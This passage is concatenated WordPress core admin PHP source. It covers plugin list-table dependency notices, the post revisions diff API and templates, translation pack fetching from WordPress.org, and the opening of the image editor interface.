						' ' . __( '<a href="%s">Please update WordPress</a>.' ),
						self_admin_url( 'update-core.php' )
					);
				}
			} elseif ( ! $compatible_php ) {
				$incompatible_message .= __( 'This plugin does not work with your version of PHP.' );
				if ( current_user_can( 'update_php' ) ) {
					$incompatible_message .= sprintf(
						/* translators: %s: URL to Update PHP page. */
						' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
						esc_url( wp_get_update_php_url() )
					);
					$incompatible_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
				}
			}

			wp_admin_notice(
				$incompatible_message,
				array(
					'type'               => 'error',
					'additional_classes' => array( 'notice-alt', 'inline', 'update-message' ),
				)
			);

			echo '</td></tr>';
		}

		/**
		 * Fires after each row in the Plugins list table.
		 *
		 * @since 2.3.0
		 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled'
		 *              to possible values for `$status`.
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
		 *                            and the {@see 'plugin_row_meta'} filter for the list
		 *                            of possible values.
		 * @param string $status      Status filter currently applied to the plugin list.
		 *                            Possible values are: 'all', 'active', 'inactive',
		 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins',
		 *                            'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'.
		 */
		do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status );

		/**
		 * Fires after each specific row in the Plugins list table.
		 *
		 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
		 * to the plugin file, relative to the plugins directory.
		 *
		 * @since 2.7.0
		 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled'
		 *              to possible values for `$status`.
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param array  $plugin_data An array of plugin data. See get_plugin_data()
		 *                            and the {@see 'plugin_row_meta'} filter for the list
		 *                            of possible values.
		 * @param string $status      Status filter currently applied to the plugin list.
		 *                            Possible values are: 'all', 'active', 'inactive',
		 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins',
		 *                            'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'.
		 */
		do_action( "after_plugin_row_{$plugin_file}", $plugin_file, $plugin_data, $status );
	}

	/**
	 * Gets the name of the primary column for this specific list table.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name for the primary column, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
		return 'name';
	}

	/**
	 * Prints a list of other plugins that depend on the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $dependency The dependency's filepath, relative to the plugins directory.
	 */
	protected function add_dependents_to_dependency_plugin_row( $dependency ) {
		$dependent_names = WP_Plugin_Dependencies::get_dependent_names( $dependency );

		if ( empty( $dependent_names ) ) {
			return;
		}

		$dependency_note = __( 'Note: This plugin cannot be deactivated or deleted until the plugins that require it are deactivated or deleted.' );

		$comma       = wp_get_list_item_separator();
		$required_by = sprintf(
			/* translators: %s: List of dependencies. */
			__( '<strong>Required by:</strong> %s' ),
			implode( $comma, $dependent_names )
		);

		printf(
			'<div class="required-by"><p>%1$s</p><p>%2$s</p></div>',
			$required_by,
			$dependency_note
		);
	}

	/**
	 * Prints a list of other plugins that the plugin depends on.
	 *
	 * @since 6.5.0
	 *
	 * @param string $dependent The dependent plugin's filepath, relative to the plugins directory.
	 */
	protected function add_dependencies_to_dependent_plugin_row( $dependent ) {
		$dependency_names = WP_Plugin_Dependencies::get_dependency_names( $dependent );

		if ( array() === $dependency_names ) {
			return;
		}

		$links = array();
		foreach ( $dependency_names as $slug => $name ) {
			$links[] = $this->get_dependency_view_details_link( $name, $slug );
		}

		$is_active = is_multisite() ? is_plugin_active_for_network( $dependent ) : is_plugin_active( $dependent );
		$comma     = wp_get_list_item_separator();
		$requires  = sprintf(
			/* translators: %s: List of dependency names. */
			__( '<strong>Requires:</strong> %s' ),
			implode( $comma, $links )
		);

		$notice        = '';
		$error_message = '';
		if ( WP_Plugin_Dependencies::has_unmet_dependencies( $dependent ) ) {
			if ( $is_active ) {
				$error_message = __( 'This plugin is active but may not function correctly because required plugins are missing or inactive.' );
			} else {
				$error_message = __( 'This plugin cannot be activated because required plugins are missing or inactive.' );
			}
			$notice = wp_get_admin_notice(
				$error_message,
				array(
					'type'               => 'error',
					'additional_classes' => array( 'inline', 'notice-alt' ),
				)
			);
		}

		printf(
			'<div class="requires"><p>%1$s</p><p>%2$s</p></div>',
			$requires,
			$notice
		);
	}

	/**
	 * Returns a 'View details' like link for a dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $name The dependency's name.
	 * @param string $slug The dependency's slug.
	 * @return string A 'View details' link for the dependency.
	 */
	protected function get_dependency_view_details_link( $name, $slug ) {
		$dependency_data = WP_Plugin_Dependencies::get_dependency_data( $slug );

		if ( false === $dependency_data
			|| $name === $slug
			|| $name !== $dependency_data['name']
			|| empty( $dependency_data['version'] )
		) {
			return $name;
		}

		return $this->get_view_details_link( $name, $slug );
	}

	/**
	 * Returns a 'View details' link for the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $name The plugin's name.
	 * @param string $slug The plugin's slug.
	 * @return string A 'View details' link for the plugin.
	 */
	protected function get_view_details_link( $name, $slug ) {
		$url = add_query_arg(
			array(
				'tab'       => 'plugin-information',
				'plugin'    => $slug,
				'TB_iframe' => 'true',
				'width'     => '600',
				'height'    => '550',
			),
			network_admin_url( 'plugin-install.php' )
		);

		$name_attr = esc_attr( $name );
		return sprintf(
			"<a href='%s' class='thickbox open-plugin-details-modal' aria-label='%s' data-title='%s'>%s</a>",
			esc_url( $url ),
			/* translators: %s: Plugin name. */
			sprintf( __( 'More information about %s' ), $name_attr ),
			$name_attr,
			esc_html( $name )
		);
	}
}
<?php
/**
 * WordPress Administration Revisions API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.6.0
 */

/**
 * Get the revision UI diff.
 *
 * @since 3.6.0
 *
 * @param WP_Post|int $post         The post object or post ID.
 * @param int         $compare_from The revision ID to compare from.
 * @param int         $compare_to   The revision ID to come to.
 * @return array|false Associative array of a post's revisioned fields and their diffs.
 *                     Or, false on failure.
 */
function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) {
	$post = get_post( $post );
	if ( ! $post ) {
		return false;
	}

	if ( $compare_from ) {
		$compare_from = get_post( $compare_from );
		if ( ! $compare_from ) {
			return false;
		}
	} else {
		// If we're dealing with the first revision...
		$compare_from = false;
	}

	$compare_to = get_post( $compare_to );
	if ( ! $compare_to ) {
		return false;
	}

	/*
	 * If comparing revisions, make sure we are dealing with the right post parent.
	 * The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves.
	 */
	if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID ) {
		return false;
	}
	if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID ) {
		return false;
	}

	if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) {
		$temp         = $compare_from;
		$compare_from = $compare_to;
		$compare_to   = $temp;
	}

	// Add default title if title field is empty.
	if ( $compare_from && empty( $compare_from->post_title ) ) {
		$compare_from->post_title = __( '(no title)' );
	}
	if ( empty( $compare_to->post_title ) ) {
		$compare_to->post_title = __( '(no title)' );
	}

	$return = array();

	foreach ( _wp_post_revision_fields( $post ) as $field => $name ) {
		/**
		 * Contextually filter a post revision field.
		 *
		 * The dynamic portion of the hook name, `$field`, corresponds to a name of a
		 * field of the revision object.
		 *
		 * Possible hook names include:
		 *
		 *  - `_wp_post_revision_field_post_title`
		 *  - `_wp_post_revision_field_post_content`
		 *  - `_wp_post_revision_field_post_excerpt`
		 *
		 * @since 3.6.0
		 *
		 * @param string  $revision_field The current revision field to compare to or from.
		 * @param string  $field          The current revision field.
		 * @param WP_Post $compare_from   The revision post object to compare to or from.
		 * @param string  $context        The context of whether the current revision is the old
		 *                                or the new one. Either 'to' or 'from'.
		 */
		$content_from = $compare_from ? apply_filters( "_wp_post_revision_field_{$field}", $compare_from->$field, $field, $compare_from, 'from' ) : '';

		/** This filter is documented in wp-admin/includes/revision.php */
		$content_to = apply_filters( "_wp_post_revision_field_{$field}", $compare_to->$field, $field, $compare_to, 'to' );

		$args = array(
			'show_split_view' => true,
			'title_left'      => __( 'Removed' ),
			'title_right'     => __( 'Added' ),
		);

		/**
		 * Filters revisions text diff options.
		 *
		 * Filters the options passed to wp_text_diff() when viewing a post revision.
		 *
		 * @since 4.1.0
		 *
		 * @param array   $args {
		 *     Associative array of options to pass to wp_text_diff().
		 *
		 *     @type bool $show_split_view True for split view (two columns), false for
		 *                                 un-split view (single column). Default true.
		 * }
		 * @param string  $field        The current revision field.
		 * @param WP_Post $compare_from The revision post to compare from.
		 * @param WP_Post $compare_to   The revision post to compare to.
		 */
		$args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to );

		$diff = wp_text_diff( $content_from, $content_to, $args );

		if ( ! $diff && 'post_title' === $field ) {
			/*
			 * It's a better user experience to still show the Title, even if it didn't change.
			 * No, you didn't see this.
			 */
			$diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>';

			// In split screen mode, show the title before/after side by side.
			if ( true === $args['show_split_view'] ) {
				$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>';
			} else {
				$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td>';

				// In single column mode, only show the title once if unchanged.
				if ( $compare_from->post_title !== $compare_to->post_title ) {
					$diff .= '</tr><tr><td>' . esc_html( $compare_to->post_title ) . '</td>';
				}
			}

			$diff .= '</tr></tbody>';
			$diff .= '</table>';
		}

		if ( $diff ) {
			$return[] = array(
				'id'   => $field,
				'name' => $name,
				'diff' => $diff,
			);
		}
	}

	/**
	 * Filters the fields displayed in the post revision diff UI.
	 *
	 * @since 4.1.0
	 *
	 * @param array[] $return       Array of revision UI fields. Each item is an array of id, name, and diff.
	 * @param WP_Post $compare_from The revision post to compare from.
	 * @param WP_Post $compare_to   The revision post to compare to.
	 */
	return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to );
}

/**
 * Prepare revisions for JavaScript.
 *
 * @since 3.6.0
 *
 * @param WP_Post|int $post                 The post object or post ID.
 * @param int         $selected_revision_id The selected revision ID.
 * @param int         $from                 Optional. The revision ID to compare from.
 * @return array An associative array of revision data and related settings.
 */
function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) {
	$post    = get_post( $post );
	$authors = array();
	$now_gmt = time();

	$revisions = wp_get_post_revisions(
		$post->ID,
		array(
			'order'         => 'ASC',
			'check_enabled' => false,
		)
	);
	// If revisions are disabled, we only want autosaves and the current post.
	if ( ! wp_revisions_enabled( $post ) ) {
		foreach ( $revisions as $revision_id => $revision ) {
			if ( ! wp_is_post_autosave( $revision ) ) {
				unset( $revisions[ $revision_id ] );
			}
		}
		$revisions = array( $post->ID => $post ) + $revisions;
	}

	$show_avatars = get_option( 'show_avatars' );

	update_post_author_caches( $revisions );

	$can_restore = current_user_can( 'edit_post', $post->ID );
	$current_id  = false;

	foreach ( $revisions as $revision ) {
		$modified     = strtotime( $revision->post_modified );
		$modified_gmt = strtotime( $revision->post_modified_gmt . ' +0000' );
		if ( $can_restore ) {
			$restore_link = str_replace(
				'&amp;',
				'&',
				wp_nonce_url(
					add_query_arg(
						array(
							'revision' => $revision->ID,
							'action'   => 'restore',
						),
						admin_url( 'revision.php' )
					),
					"restore-post_{$revision->ID}"
				)
			);
		}

		if ( ! isset( $authors[ $revision->post_author ] ) ) {
			$authors[ $revision->post_author ] = array(
				'id'     => (int) $revision->post_author,
				'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '',
				'name'   => get_the_author_meta( 'display_name', $revision->post_author ),
			);
		}

		$autosave = (bool) wp_is_post_autosave( $revision );
		$current  = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt;
		if ( $current && ! empty( $current_id ) ) {
			// If multiple revisions have the same post_modified_gmt, highest ID is current.
			if ( $current_id < $revision->ID ) {
				$revisions[ $current_id ]['current'] = false;
				$current_id                          = $revision->ID;
			} else {
				$current = false;
			}
		} elseif ( $current ) {
			$current_id = $revision->ID;
		}

		$revisions_data = array(
			'id'         => $revision->ID,
			'title'      => get_the_title( $post->ID ),
			'author'     => $authors[ $revision->post_author ],
			'date'       => date_i18n( __( 'M j, Y @ H:i' ), $modified ),
			'dateShort'  => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), $modified ),
			/* translators: %s: Human-readable time difference. */
			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ),
			'autosave'   => $autosave,
			'current'    => $current,
			'restoreUrl' => $can_restore ? $restore_link : false,
		);

		/**
		 * Filters the array of revisions used on the revisions screen.
		 *
		 * @since 4.4.0
		 *
		 * @param array   $revisions_data {
		 *     The bootstrapped data for the revisions screen.
		 *
		 *     @type int        $id         Revision ID.
		 *     @type string     $title      Title for the revision's parent WP_Post object.
		 *     @type int        $author     Revision post author ID.
		 *     @type string     $date       Date the revision was modified.
		 *     @type string     $dateShort  Short-form version of the date the revision was modified.
		 *     @type string     $timeAgo    GMT-aware amount of time ago the revision was modified.
		 *     @type bool       $autosave   Whether the revision is an autosave.
		 *     @type bool       $current    Whether the revision is both not an autosave and the post
		 *                                  modified date matches the revision modified date (GMT-aware).
		 *     @type bool|false $restoreUrl URL if the revision can be restored, false otherwise.
		 * }
		 * @param WP_Post $revision       The revision's WP_Post object.
		 * @param WP_Post $post           The revision's parent WP_Post object.
		 */
		$revisions[ $revision->ID ] = apply_filters( 'wp_prepare_revision_for_js', $revisions_data, $revision, $post );
	}

	/*
	 * If we only have one revision, the initial revision is missing. This happens
	 * when we have an autosave and the user has clicked 'View the Autosave'.
	 */
	if ( 1 === count( $revisions ) ) {
		$revisions[ $post->ID ] = array(
			'id'         => $post->ID,
			'title'      => get_the_title( $post->ID ),
			'author'     => $authors[ $revision->post_author ],
			'date'       => date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_modified ) ),
			'dateShort'  => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), strtotime( $post->post_modified ) ),
			/* translators: %s: Human-readable time difference. */
			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ),
			'autosave'   => false,
			'current'    => true,
			'restoreUrl' => false,
		);
		$current_id             = $post->ID;
	}

	/*
	 * If a post has been saved since the latest revision (no revisioned fields
	 * were changed), we may not have a "current" revision. Mark the latest
	 * revision as "current".
	 */
	if ( empty( $current_id ) ) {
		if ( $revisions[ $revision->ID ]['autosave'] ) {
			$revision = end( $revisions );
			while ( $revision['autosave'] ) {
				$revision = prev( $revisions );
			}
			$current_id = $revision['id'];
		} else {
			$current_id = $revision->ID;
		}
		$revisions[ $current_id ]['current'] = true;
	}

	// Now, grab the initial diff.
	$compare_two_mode = is_numeric( $from );
	if ( ! $compare_two_mode ) {
		$found = array_search( $selected_revision_id, array_keys( $revisions ), true );
		if ( $found ) {
			$from = array_keys( array_slice( $revisions, $found - 1, 1, true ) );
			$from = reset( $from );
		} else {
			$from = 0;
		}
	}

	$from = absint( $from );

	$diffs = array(
		array(
			'id'     => $from . ':' . $selected_revision_id,
			'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ),
		),
	);

	return array(
		'postId'         => $post->ID,
		'nonce'          => wp_create_nonce( 'revisions-ajax-nonce' ),
		'revisionData'   => array_values( $revisions ),
		'to'             => $selected_revision_id,
		'from'           => $from,
		'diffData'       => $diffs,
		'baseUrl'        => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ),
		'compareTwoMode' => absint( $compare_two_mode ), // Apparently booleans are not allowed.
		'revisionIds'    => array_keys( $revisions ),
	);
}

/**
 * Print JavaScript templates required for the revisions experience.
 *
 * @since 4.1.0
 *
 * @global WP_Post $post Global post object.
 */
function wp_print_revision_templates() {
	global $post;
	?><script id="tmpl-revisions-frame" type="text/html">
		<div class="revisions-control-frame"></div>
		<div class="revisions-diff-frame"></div>
	</script>

	<script id="tmpl-revisions-buttons" type="text/html">
		<div class="revisions-previous">
			<input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" />
		</div>

		<div class="revisions-next">
			<input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" />
		</div>
	</script>

	<script id="tmpl-revisions-checkbox" type="text/html">
		<div class="revision-toggle-compare-mode">
			<label>
				<input type="checkbox" class="compare-two-revisions"
				<#
				if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) {
					#> checked="checked"<#
				}
				#>
				/>
				<?php esc_html_e( 'Compare any two revisions' ); ?>
			</label>
		</div>
	</script>

	<script id="tmpl-revisions-meta" type="text/html">
		<# if ( ! _.isUndefined( data.attributes ) ) { #>
			<div class="diff-title">
				<# if ( 'from' === data.type ) { #>
					<strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong>
				<# } else if ( 'to' === data.type ) { #>
					<strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong>
				<# } #>
				<div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>">
					{{{ data.attributes.author.avatar }}}
					<div class="author-info">
					<# if ( data.attributes.autosave ) { #>
						<span class="byline">
						<?php
						printf(
							/* translators: %s: User's display name. */
							__( 'Autosave by %s' ),
							'<span class="author-name">{{ data.attributes.author.name }}</span>'
						);
						?>
							</span>
					<# } else if ( data.attributes.current ) { #>
						<span class="byline">
						<?php
						printf(
							/* translators: %s: User's display name. */
							__( 'Current Revision by %s' ),
							'<span class="author-name">{{ data.attributes.author.name }}</span>'
						);
						?>
							</span>
					<# } else { #>
						<span class="byline">
						<?php
						printf(
							/* translators: %s: User's display name. */
							__( 'Revision by %s' ),
							'<span class="author-name">{{ data.attributes.author.name }}</span>'
						);
						?>
							</span>
					<# } #>
						<span class="time-ago">{{ data.attributes.timeAgo }}</span>
						<span class="date">({{ data.attributes.dateShort }})</span>
					</div>
				<# if ( 'to' === data.type && data.attributes.restoreUrl ) { #>
					<input  <?php if ( wp_check_post_lock( $post->ID ) ) { ?>
						disabled="disabled"
					<?php } else { ?>
						<# if ( data.attributes.current ) { #>
							disabled="disabled"
						<# } #>
					<?php } ?>
					<# if ( data.attributes.autosave ) { #>
						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" />
					<# } else { #>
						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" />
					<# } #>
				<# } #>
			</div>
		<# if ( 'tooltip' === data.type ) { #>
			<div class="revisions-tooltip-arrow"><span></span></div>
		<# } #>
	<# } #>
	</script>

	<script id="tmpl-revisions-diff" type="text/html">
		<div class="loading-indicator"><span class="spinner"></span></div>
		<div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div>
		<div class="diff">
		<# _.each( data.fields, function( field ) { #>
			<h3>{{ field.name }}</h3>
			{{{ field.diff }}}
		<# }); #>
		</div>
	</script>
	<?php
}
<?php
/**
 * WordPress Translation Installation Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */


/**
 * Retrieve translations from WordPress Translation API.
 *
 * @since 4.0.0
 *
 * @param string       $type Type of translations. Accepts 'plugins', 'themes', 'core'.
 * @param array|object $args Translation API arguments. Optional.
 * @return array|WP_Error On success an associative array of translations, WP_Error on failure.
 */
function translations_api( $type, $args = null ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( ! in_array( $type, array( 'plugins', 'themes', 'core' ), true ) ) {
		return new WP_Error( 'invalid_type', __( 'Invalid translation type.' ) );
	}

	/**
	 * Allows a plugin to override the WordPress.org Translation Installation API entirely.
	 *
	 * @since 4.0.0
	 *
	 * @param false|array $result The result array. Default false.
	 * @param string      $type   The type of translations being requested.
	 * @param object      $args   Translation API arguments.
	 */
	$res = apply_filters( 'translations_api', false, $type, $args );

	if ( false === $res ) {
		$url      = 'http://api.wordpress.org/translations/' . $type . '/1.0/';
		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$options = array(
			'timeout' => 3,
			'body'    => array(
				'wp_version' => $wp_version,
				'locale'     => get_locale(),
				'version'    => $args['version'], // Version of plugin, theme or core.
			),
		);

		if ( 'core' !== $type ) {
			$options['body']['slug'] = $args['slug']; // Plugin or theme slug.
		}

		$request = wp_remote_post( $url, $options );

		if ( $ssl && is_wp_error( $request ) ) {
			trigger_error(
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
				headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
			);

			$request = wp_remote_post( $http_url, $options );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'translations_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( ! is_object( $res ) && ! is_array( $res ) ) {
				$res = new WP_Error(
					'translations_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}
		}
	}

	/**
	 * Filters the Translation Installation API response results.
	 *
	 * @since 4.0.0
	 *
	 * @param array|WP_Error $res  Response as an associative array or WP_Error.
	 * @param string         $type The type of translations being requested.
	 * @param object         $args Translation API arguments.
	 */
	return apply_filters( 'translations_api_result', $res, $type, $args );
}

/**
 * Get available translations from the WordPress.org API.
 *
 * @since 4.0.0
 *
 * @see translations_api()
 *
 * @return array[] Array of translations, each an array of data, keyed by the language. If the API response results
 *                 in an error, an empty array will be returned.
 */
function wp_get_available_translations() {
	if ( ! wp_installing() ) {
		$translations = get_site_transient( 'available_translations' );
		if ( false !== $translations ) {
			return $translations;
		}
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$api = translations_api( 'core', array( 'version' => $wp_version ) );

	if ( is_wp_error( $api ) || empty( $api['translations'] ) ) {
		return array();
	}

	$translations = array();
	// Key the array with the language code for now.
	foreach ( $api['translations'] as $translation ) {
		$translations[ $translation['language'] ] = $translation;
	}

	if ( ! defined( 'WP_INSTALLING' ) ) {
		set_site_transient( 'available_translations', $translations, 3 * HOUR_IN_SECONDS );
	}

	return $translations;
}

/**
 * Output the select form for the language selection on the installation screen.
 *
 * @since 4.0.0
 *
 * @global string $wp_local_package Locale code of the package.
 *
 * @param array[] $languages Array of available languages (populated via the Translation API).
 */
function wp_install_language_form( $languages ) {
	global $wp_local_package;

	$installed_languages = get_available_languages();

	echo "<label class='screen-reader-text' for='language'>Select a default language</label>\n";
	echo "<select size='14' name='language' id='language'>\n";
	echo '<option value="" lang="en" selected="selected" data-continue="Continue" data-installed="1">English (United States)</option>';
	echo "\n";

	if ( ! empty( $wp_local_package ) && isset( $languages[ $wp_local_package ] ) ) {
		if ( isset( $languages[ $wp_local_package ] ) ) {
			$language = $languages[ $wp_local_package ];
			printf(
				'<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
				esc_attr( $language['language'] ),
				esc_attr( current( $language['iso'] ) ),
				esc_attr( $language['strings']['continue'] ? $language['strings']['continue'] : 'Continue' ),
				in_array( $language['language'], $installed_languages, true ) ? ' data-installed="1"' : '',
				esc_html( $language['native_name'] )
			);

			unset( $languages[ $wp_local_package ] );
		}
	}

	foreach ( $languages as $language ) {
		printf(
			'<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
			esc_attr( $language['language'] ),
			esc_attr( current( $language['iso'] ) ),
			esc_attr( $language['strings']['continue'] ? $language['strings']['continue'] : 'Continue' ),
			in_array( $language['language'], $installed_languages, true ) ? ' data-installed="1"' : '',
			esc_html( $language['native_name'] )
		);
	}
	echo "</select>\n";
	echo '<p class="step"><span class="spinner"></span><input id="language-continue" type="submit" class="button button-primary button-large" value="Continue" /></p>';
}

/**
 * Download a language pack.
 *
 * @since 4.0.0
 *
 * @see wp_get_available_translations()
 *
 * @param string $download Language code to download.
 * @return string|false Returns the language code if successfully downloaded
 *                      (or already installed), or false on failure.
 */
function wp_download_language_pack( $download ) {
	// Check if the translation is already installed.
	if ( in_array( $download, get_available_languages(), true ) ) {
		return $download;
	}

	if ( ! wp_is_file_mod_allowed( 'download_language_pack' ) ) {
		return false;
	}

	// Confirm the translation is one we can download.
	$translations = wp_get_available_translations();
	if ( ! $translations ) {
		return false;
	}
	foreach ( $translations as $translation ) {
		if ( $translation['language'] === $download ) {
			$translation_to_load = true;
			break;
		}
	}

	if ( empty( $translation_to_load ) ) {
		return false;
	}
	$translation = (object) $translation;

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$skin              = new Automatic_Upgrader_Skin();
	$upgrader          = new Language_Pack_Upgrader( $skin );
	$translation->type = 'core';
	$result            = $upgrader->upgrade( $translation, array( 'clear_update_cache' => false ) );

	if ( ! $result || is_wp_error( $result ) ) {
		return false;
	}

	return $translation->language;
}

/**
 * Check if WordPress has access to the filesystem without asking for
 * credentials.
 *
 * @since 4.0.0
 *
 * @return bool Returns true on success, false on failure.
 */
function wp_can_install_language_pack() {
	if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) {
		return false;
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$skin     = new Automatic_Upgrader_Skin();
	$upgrader = new Language_Pack_Upgrader( $skin );
	$upgrader->init();

	$check = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );

	if ( ! $check || is_wp_error( $check ) ) {
		return false;
	}

	return true;
}
<?php
/**
 * WordPress Image Editor
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Loads the WP image-editing interface.
 *
 * @since 2.9.0
 *
 * @param int          $post_id Attachment post ID.
 * @param false|object $msg     Optional. Message to display for image editor updates or errors.
 *                              Default false.
 */
function wp_image_editor( $post_id, $msg = false ) {
	$nonce     = wp_create_nonce( "image_editor-$post_id" );
	$meta      = wp_get_attachment_metadata( $post_id );
	$thumb     = image_get_intermediate_size( $post_id, 'thumbnail' );
	$sub_sizes = isset( $meta['sizes'] ) && is_array( $meta['sizes'] );
	$note      = '';

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$big = max( $meta['width'], $meta['height'] );
	} else {
		die( __( 'Image data does not exist. Please re-upload the image.' ) );
	}

	$sizer = $big > 600 ? 600 / $big : 1;

	$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
	$can_restore  = false;

	if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) ) {
		$can_restore = wp_basename( $meta['file'] ) !== $backup_sizes['full-orig']['file'];
	}

	if ( $msg ) {
		if ( isset( $msg->error ) ) {
			$note = "<div class='notice notice-error' role='alert'><p>$msg->error</p></div>";
		} elseif ( isset( $msg->msg ) ) {
			$note = "<div class='notice notice-success' role='alert'><p>$msg->msg</p></div>";
		}
	}

	/**
	 * Shows the settings in the Image Editor that allow selecting to edit only the thumbnail of an image.
	 *
	 * @since 6.3.0
	 *
	 * @param bool $show Whether to show the settings in the Image Editor. Default false.
	 */
	$edit_thumbnails_separately = (bool) apply_filters( 'image_edit_thumbnails_separately', false );

	?>
	<div class="imgedit-wrap wp-clearfix">
	<div id="imgedit-panel-<?php echo $post_id; ?>">
	<?php echo $note; ?>
	<div class="imgedit-panel-content imgedit-panel-tools wp-clearfix">
		<div class="imgedit-menu wp-clearfix">
			<button type="button" onclick="imageEdit.toggleCropTool( <?php echo "$post_id, '$nonce'"; ?>, this );" aria-expanded="false" aria-controls="imgedit-crop" class="imgedit-crop button disabled" disabled><?php esc_html_e( 'Crop' ); ?></button>
			<button type="button" class="imgedit-scale button" onclick="imageEdit.toggleControls(this);" aria-expanded="false" aria-controls="imgedit-scale"><?php esc_html_e( 'Scale' ); ?></button>
			<div class="imgedit-rotate-menu-container">
				<button type="button" aria-controls="imgedit-rotate-menu" class="imgedit-rotate button" aria-expanded="false" onclick="imageEdit.togglePopup(this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Image Rotation' ); ?></button>
				<div id="imgedit-rotate-menu" class="imgedit-popup-menu">
			<?php
			// On some setups GD library does not provide imagerotate() - Ticket #11536.
			if ( wp_image_editor_supports(
				array(
					'mime_type' => get_post_mime_type( $post_id ),
					'methods'   => array( 'rotate' ),
				)
			) ) {
				$note_no_rotate = '';
				?>
					<button type="button" class="imgedit-rleft button" onkeyup="imageEdit.browsePopup(this)" onclick="imageEdit.rotate( 90, <?php echo "$post_id, '$nonce'"; ?>, this)" onblur="imageEdit.monitorPopup()"><?php esc_html_e( 'Rotate 90&deg; left' ); ?></button>
